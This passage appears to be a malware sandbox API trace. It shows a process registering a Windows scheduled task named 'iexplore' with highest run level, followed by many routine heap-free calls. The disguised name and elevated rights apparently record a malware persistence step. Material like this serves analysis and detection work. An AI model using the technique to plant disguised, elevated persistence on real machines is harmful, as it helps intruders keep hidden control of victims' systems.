[4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x13c4d0 | out: ppvObject=0x13c4d0*=0x3b60f0) returned 0x0 [0153.050] IUnknown:Release (This=0x3b60f0) returned 0x2 [0153.050] _vsnwprintf (in: _Buffer=0x13c420, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13c3f8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0153.050] ITrigger:put_StartBoundary (This=0x3b60f0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0153.050] lstrlenW (lpString="") returned 0 [0153.050] lstrlenW (lpString="") returned 0 [0153.050] lstrlenW (lpString="") returned 0 [0153.050] lstrlenW (lpString="") returned 0 [0153.050] IUnknown:Release (This=0x3b60f0) returned 0x1 [0153.050] IUnknown:Release (This=0x3b7e40) returned 0x1 [0153.050] ITaskDefinition:get_Settings (in: This=0x3b7c40, ppSettings=0x13c980 | out: ppSettings=0x13c980*=0x3b7eb0) returned 0x0 [0153.051] lstrlenW (lpString="") returned 0 [0153.051] IUnknown:Release (This=0x3b7eb0) returned 0x1 [0153.051] GetLocalTime (in: lpSystemTime=0x13c838 | out: lpSystemTime=0x13c838*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xc, wMilliseconds=0x335)) [0153.051] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0153.051] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0153.051] GetUserNameW (in: lpBuffer=0x13c860, pcbBuffer=0x13c848 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x13c848) returned 1 [0153.052] ITaskDefinition:get_RegistrationInfo (in: This=0x3b7c40, ppRegistrationInfo=0x13c830 | out: ppRegistrationInfo=0x13c830*=0x3b7d80) returned 0x0 [0153.052] IRegistrationInfo:put_Author (This=0x3b7d80, Author="") returned 0x0 [0153.052] _vsnwprintf (in: _Buffer=0x13c860, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13c7f8 | out: _Buffer="2022-08-06T02:19:12") returned 19 [0153.052] IRegistrationInfo:put_Date (This=0x3b7d80, Date="") returned 0x0 [0153.052] IUnknown:Release (This=0x3b7d80) returned 0x1 [0153.053] malloc (_Size=0x18) returned 0x3b6200 [0153.053] free (_Block=0x3b6200) [0153.053] lstrlenW (lpString="") returned 0 [0153.053] ITaskDefinition:get_Principal (in: This=0x3b7c40, ppPrincipal=0x13ca50 | out: ppPrincipal=0x13ca50*=0x3b5fb0) returned 0x0 [0153.053] IPrincipal:put_RunLevel (This=0x3b5fb0, RunLevel=1) returned 0x0 [0153.053] IUnknown:Release (This=0x3b5fb0) returned 0x1 [0153.053] malloc (_Size=0x18) returned 0x3b6200 [0153.053] ITaskFolder:RegisterTaskDefinition (in: This=0x3b5aa0, Path="iexplore", pDefinition=0x3b7c40, flags=6, UserId=0x13cad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13cb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13e9e0, varVal2=0xfe), LogonType=3, sddl=0x13caf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13c9f0 | out: ppTask=0x13c9f0*=0x3b63a0) returned 0x0 [0153.710] free (_Block=0x3b6200) [0153.710] _memicmp (_Buf1=0x19ba90, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.710] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x19d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0153.710] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0153.710] GetProcessHeap () returned 0x180000 [0153.710] GetProcessHeap () returned 0x180000 [0153.711] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5c0) returned 1 [0153.711] GetProcessHeap () returned 0x180000 [0153.711] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d5c0) returned 0xe [0153.711] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5c0 | out: hHeap=0x180000) returned 1 [0153.711] GetProcessHeap () returned 0x180000 [0153.711] RtlAllocateHeap (HeapHandle=0x180000, Flags=0xc, Size=0x82) returned 0x1b9b00 [0153.711] _vsnwprintf (in: _Buffer=0x13d130, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13c998 | out: _Buffer="SUCCESS: The scheduled task \"iexplore\" has successfully been created.\n") returned 70 [0153.711] _fileno (_File=0x7fefed02ab0) returned -2 [0153.711] _errno () returned 0x3b4bb0 [0153.711] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0153.711] SetLastError (dwErrCode=0x6) [0153.711] lstrlenW (lpString="SUCCESS: The scheduled task \"iexplore\" has successfully been created.\n") returned 70 [0153.711] GetConsoleOutputCP () returned 0x0 [0153.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"iexplore\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0153.712] GetConsoleOutputCP () returned 0x0 [0153.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"iexplore\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xffd81880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"iexplore\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0153.712] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0153.712] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0153.712] IUnknown:Release (This=0x3b63a0) returned 0x0 [0153.712] TaskScheduler:IUnknown:Release (This=0x3b7c40) returned 0x0 [0153.712] TaskScheduler:IUnknown:Release (This=0x3b5aa0) returned 0x0 [0153.712] TaskScheduler:IUnknown:Release (This=0x3b7a50) returned 0x1 [0153.712] lstrlenW (lpString="") returned 0 [0153.712] GetProcessHeap () returned 0x180000 [0153.713] GetProcessHeap () returned 0x180000 [0153.713] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c2b0) returned 1 [0153.713] GetProcessHeap () returned 0x180000 [0153.713] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c2b0) returned 0x1fc [0153.713] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c2b0 | out: hHeap=0x180000) returned 1 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4e0) returned 1 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d4e0) returned 0x16 [0153.714] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4e0 | out: hHeap=0x180000) returned 1 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d560) returned 1 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d560) returned 0x18 [0153.714] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d560 | out: hHeap=0x180000) returned 1 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd50) returned 1 [0153.714] GetProcessHeap () returned 0x180000 [0153.714] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cd50) returned 0x20 [0153.715] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd50 | out: hHeap=0x180000) returned 1 [0153.715] GetProcessHeap () returned 0x180000 [0153.716] GetProcessHeap () returned 0x180000 [0153.716] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19bff0) returned 1 [0153.716] GetProcessHeap () returned 0x180000 [0153.716] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19bff0) returned 0xa0 [0153.716] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19bff0 | out: hHeap=0x180000) returned 1 [0153.716] GetProcessHeap () returned 0x180000 [0153.716] GetProcessHeap () returned 0x180000 [0153.716] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba70) returned 1 [0153.716] GetProcessHeap () returned 0x180000 [0153.716] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ba70) returned 0x18 [0153.717] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba70 | out: hHeap=0x180000) returned 1 [0153.717] GetProcessHeap () returned 0x180000 [0153.717] GetProcessHeap () returned 0x180000 [0153.717] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cb10) returned 1 [0153.717] GetProcessHeap () returned 0x180000 [0153.717] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cb10) returned 0x20 [0153.717] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cb10 | out: hHeap=0x180000) returned 1 [0153.717] GetProcessHeap () returned 0x180000 [0153.717] GetProcessHeap () returned 0x180000 [0153.717] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c250) returned 1 [0153.717] GetProcessHeap () returned 0x180000 [0153.718] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c250) returned 0x4e [0153.718] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c250 | out: hHeap=0x180000) returned 1 [0153.718] GetProcessHeap () returned 0x180000 [0153.718] GetProcessHeap () returned 0x180000 [0153.718] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4c0) returned 1 [0153.718] GetProcessHeap () returned 0x180000 [0153.718] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d4c0) returned 0x18 [0153.719] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d4c0 | out: hHeap=0x180000) returned 1 [0153.719] GetProcessHeap () returned 0x180000 [0153.719] GetProcessHeap () returned 0x180000 [0153.719] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cae0) returned 1 [0153.719] GetProcessHeap () returned 0x180000 [0153.719] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cae0) returned 0x20 [0153.719] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cae0 | out: hHeap=0x180000) returned 1 [0153.719] GetProcessHeap () returned 0x180000 [0153.719] GetProcessHeap () returned 0x180000 [0153.719] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19dcd0) returned 1 [0153.720] GetProcessHeap () returned 0x180000 [0153.720] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19dcd0) returned 0x50 [0153.720] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19dcd0 | out: hHeap=0x180000) returned 1 [0153.720] GetProcessHeap () returned 0x180000 [0153.720] GetProcessHeap () returned 0x180000 [0153.721] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d540) returned 1 [0153.721] GetProcessHeap () returned 0x180000 [0153.721] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d540) returned 0x18 [0153.721] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d540 | out: hHeap=0x180000) returned 1 [0153.721] GetProcessHeap () returned 0x180000 [0153.721] GetProcessHeap () returned 0x180000 [0153.721] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cab0) returned 1 [0153.721] GetProcessHeap () returned 0x180000 [0153.721] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cab0) returned 0x20 [0153.721] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cab0 | out: hHeap=0x180000) returned 1 [0153.721] GetProcessHeap () returned 0x180000 [0153.721] GetProcessHeap () returned 0x180000 [0153.721] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d520) returned 1 [0153.721] GetProcessHeap () returned 0x180000 [0153.721] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d520) returned 0xe [0153.722] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d520 | out: hHeap=0x180000) returned 1 [0153.722] GetProcessHeap () returned 0x180000 [0153.722] GetProcessHeap () returned 0x180000 [0153.722] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d500) returned 1 [0153.722] GetProcessHeap () returned 0x180000 [0153.722] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d500) returned 0x18 [0153.722] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d500 | out: hHeap=0x180000) returned 1 [0153.722] GetProcessHeap () returned 0x180000 [0153.722] GetProcessHeap () returned 0x180000 [0153.722] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195d50) returned 1 [0153.722] GetProcessHeap () returned 0x180000 [0153.722] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195d50) returned 0x20 [0153.722] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195d50 | out: hHeap=0x180000) returned 1 [0153.722] GetProcessHeap () returned 0x180000 [0153.723] GetProcessHeap () returned 0x180000 [0153.723] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19bbf0) returned 1 [0153.723] GetProcessHeap () returned 0x180000 [0153.723] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19bbf0) returned 0x208 [0153.723] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19bbf0 | out: hHeap=0x180000) returned 1 [0153.723] GetProcessHeap () returned 0x180000 [0153.723] GetProcessHeap () returned 0x180000 [0153.723] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba50) returned 1 [0153.724] GetProcessHeap () returned 0x180000 [0153.724] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ba50) returned 0x18 [0153.724] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba50 | out: hHeap=0x180000) returned 1 [0153.724] GetProcessHeap () returned 0x180000 [0153.724] GetProcessHeap () returned 0x180000 [0153.724] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195c60) returned 1 [0153.724] GetProcessHeap () returned 0x180000 [0153.724] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195c60) returned 0x20 [0153.724] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195c60 | out: hHeap=0x180000) returned 1 [0153.724] GetProcessHeap () returned 0x180000 [0153.724] GetProcessHeap () returned 0x180000 [0153.724] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d280) returned 1 [0153.724] GetProcessHeap () returned 0x180000 [0153.725] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d280) returned 0x200 [0153.725] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d280 | out: hHeap=0x180000) returned 1 [0153.725] GetProcessHeap () returned 0x180000 [0153.725] GetProcessHeap () returned 0x180000 [0153.725] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba90) returned 1 [0153.725] GetProcessHeap () returned 0x180000 [0153.725] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ba90) returned 0x18 [0153.725] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba90 | out: hHeap=0x180000) returned 1 [0153.725] GetProcessHeap () returned 0x180000 [0153.725] GetProcessHeap () returned 0x180000 [0153.725] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195bd0) returned 1 [0153.725] GetProcessHeap () returned 0x180000 [0153.726] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195bd0) returned 0x20 [0153.726] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195bd0 | out: hHeap=0x180000) returned 1 [0153.726] GetProcessHeap () returned 0x180000 [0153.726] GetProcessHeap () returned 0x180000 [0153.726] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c200) returned 1 [0153.726] GetProcessHeap () returned 0x180000 [0153.726] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c200) returned 0x14 [0153.726] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c200 | out: hHeap=0x180000) returned 1 [0153.726] GetProcessHeap () returned 0x180000 [0153.726] GetProcessHeap () returned 0x180000 [0153.726] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1e0) returned 1 [0153.726] GetProcessHeap () returned 0x180000 [0153.726] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c1e0) returned 0x18 [0153.726] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1e0 | out: hHeap=0x180000) returned 1 [0153.727] GetProcessHeap () returned 0x180000 [0153.727] GetProcessHeap () returned 0x180000 [0153.727] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195b10) returned 1 [0153.727] GetProcessHeap () returned 0x180000 [0153.727] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195b10) returned 0x20 [0153.727] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195b10 | out: hHeap=0x180000) returned 1 [0153.727] GetProcessHeap () returned 0x180000 [0153.727] GetProcessHeap () returned 0x180000 [0153.727] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c220) returned 1 [0153.727] GetProcessHeap () returned 0x180000 [0153.727] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c220) returned 0x16 [0153.727] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c220 | out: hHeap=0x180000) returned 1 [0153.727] GetProcessHeap () returned 0x180000 [0153.728] GetProcessHeap () returned 0x180000 [0153.728] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1a0) returned 1 [0153.728] GetProcessHeap () returned 0x180000 [0153.728] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19c1a0) returned 0x18 [0153.728] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19c1a0 | out: hHeap=0x180000) returned 1 [0153.728] GetProcessHeap () returned 0x180000 [0153.728] GetProcessHeap () returned 0x180000 [0153.728] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195ae0) returned 1 [0153.728] GetProcessHeap () returned 0x180000 [0153.728] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195ae0) returned 0x20 [0153.729] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195ae0 | out: hHeap=0x180000) returned 1 [0153.729] GetProcessHeap () returned 0x180000 [0153.729] GetProcessHeap () returned 0x180000 [0153.729] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9d0) returned 1 [0153.729] GetProcessHeap () returned 0x180000 [0153.729] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b9d0) returned 0x2 [0153.729] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9d0 | out: hHeap=0x180000) returned 1 [0153.729] GetProcessHeap () returned 0x180000 [0153.729] GetProcessHeap () returned 0x180000 [0153.729] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195930) returned 1 [0153.729] GetProcessHeap () returned 0x180000 [0153.729] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195930) returned 0x20 [0153.729] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195930 | out: hHeap=0x180000) returned 1 [0153.730] GetProcessHeap () returned 0x180000 [0153.730] GetProcessHeap () returned 0x180000 [0153.730] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195960) returned 1 [0153.730] GetProcessHeap () returned 0x180000 [0153.730] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195960) returned 0x20 [0153.730] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195960 | out: hHeap=0x180000) returned 1 [0153.730] GetProcessHeap () returned 0x180000 [0153.730] GetProcessHeap () returned 0x180000 [0153.730] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195990) returned 1 [0153.730] GetProcessHeap () returned 0x180000 [0153.730] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195990) returned 0x20 [0153.731] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195990 | out: hHeap=0x180000) returned 1 [0153.731] GetProcessHeap () returned 0x180000 [0153.731] GetProcessHeap () returned 0x180000 [0153.731] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x1959c0) returned 1 [0153.731] GetProcessHeap () returned 0x180000 [0153.731] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x1959c0) returned 0x20 [0153.731] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1959c0 | out: hHeap=0x180000) returned 1 [0153.731] GetProcessHeap () returned 0x180000 [0153.732] GetProcessHeap () returned 0x180000 [0153.732] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cb40) returned 1 [0153.732] GetProcessHeap () returned 0x180000 [0153.732] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cb40) returned 0x20 [0153.732] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cb40 | out: hHeap=0x180000) returned 1 [0153.732] GetProcessHeap () returned 0x180000 [0153.732] GetProcessHeap () returned 0x180000 [0153.732] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d660) returned 1 [0153.732] GetProcessHeap () returned 0x180000 [0153.732] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d660) returned 0xc [0153.732] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d660 | out: hHeap=0x180000) returned 1 [0153.732] GetProcessHeap () returned 0x180000 [0153.732] GetProcessHeap () returned 0x180000 [0153.733] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cb70) returned 1 [0153.733] GetProcessHeap () returned 0x180000 [0153.733] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cb70) returned 0x20 [0153.733] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cb70 | out: hHeap=0x180000) returned 1 [0153.733] GetProcessHeap () returned 0x180000 [0153.733] GetProcessHeap () returned 0x180000 [0153.733] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x197a50) returned 1 [0153.734] GetProcessHeap () returned 0x180000 [0153.734] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x197a50) returned 0x30 [0153.734] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x197a50 | out: hHeap=0x180000) returned 1 [0153.734] GetProcessHeap () returned 0x180000 [0153.734] GetProcessHeap () returned 0x180000 [0153.734] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cba0) returned 1 [0153.734] GetProcessHeap () returned 0x180000 [0153.734] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cba0) returned 0x20 [0153.735] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cba0 | out: hHeap=0x180000) returned 1 [0153.735] GetProcessHeap () returned 0x180000 [0153.735] GetProcessHeap () returned 0x180000 [0153.735] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x197a90) returned 1 [0153.735] GetProcessHeap () returned 0x180000 [0153.735] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x197a90) returned 0x30 [0153.735] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x197a90 | out: hHeap=0x180000) returned 1 [0153.735] GetProcessHeap () returned 0x180000 [0153.735] GetProcessHeap () returned 0x180000 [0153.735] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd20) returned 1 [0153.735] GetProcessHeap () returned 0x180000 [0153.735] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cd20) returned 0x20 [0153.736] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cd20 | out: hHeap=0x180000) returned 1 [0153.736] GetProcessHeap () returned 0x180000 [0153.736] GetProcessHeap () returned 0x180000 [0153.736] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d580) returned 1 [0153.736] GetProcessHeap () returned 0x180000 [0153.736] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d580) returned 0x16 [0153.736] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d580 | out: hHeap=0x180000) returned 1 [0153.736] GetProcessHeap () returned 0x180000 [0153.736] GetProcessHeap () returned 0x180000 [0153.736] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccf0) returned 1 [0153.736] GetProcessHeap () returned 0x180000 [0153.736] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ccf0) returned 0x20 [0153.737] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccf0 | out: hHeap=0x180000) returned 1 [0153.737] GetProcessHeap () returned 0x180000 [0153.737] GetProcessHeap () returned 0x180000 [0153.737] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5a0) returned 1 [0153.737] GetProcessHeap () returned 0x180000 [0153.737] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d5a0) returned 0x16 [0153.737] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5a0 | out: hHeap=0x180000) returned 1 [0153.737] GetProcessHeap () returned 0x180000 [0153.737] GetProcessHeap () returned 0x180000 [0153.737] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccc0) returned 1 [0153.737] GetProcessHeap () returned 0x180000 [0153.737] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ccc0) returned 0x20 [0153.738] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ccc0 | out: hHeap=0x180000) returned 1 [0153.738] GetProcessHeap () returned 0x180000 [0153.738] GetProcessHeap () returned 0x180000 [0153.738] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x1b9b00) returned 1 [0153.738] GetProcessHeap () returned 0x180000 [0153.738] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x1b9b00) returned 0x82 [0153.739] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1b9b00 | out: hHeap=0x180000) returned 1 [0153.739] GetProcessHeap () returned 0x180000 [0153.739] GetProcessHeap () returned 0x180000 [0153.739] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc90) returned 1 [0153.739] GetProcessHeap () returned 0x180000 [0153.739] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc90) returned 0x20 [0153.739] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc90 | out: hHeap=0x180000) returned 1 [0153.739] GetProcessHeap () returned 0x180000 [0153.739] GetProcessHeap () returned 0x180000 [0153.740] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5e0) returned 1 [0153.740] GetProcessHeap () returned 0x180000 [0153.740] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d5e0) returned 0xe [0153.740] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d5e0 | out: hHeap=0x180000) returned 1 [0153.740] GetProcessHeap () returned 0x180000 [0153.740] GetProcessHeap () returned 0x180000 [0153.740] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc60) returned 1 [0153.740] GetProcessHeap () returned 0x180000 [0153.740] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc60) returned 0x20 [0153.740] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc60 | out: hHeap=0x180000) returned 1 [0153.740] GetProcessHeap () returned 0x180000 [0153.740] GetProcessHeap () returned 0x180000 [0153.741] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d600) returned 1 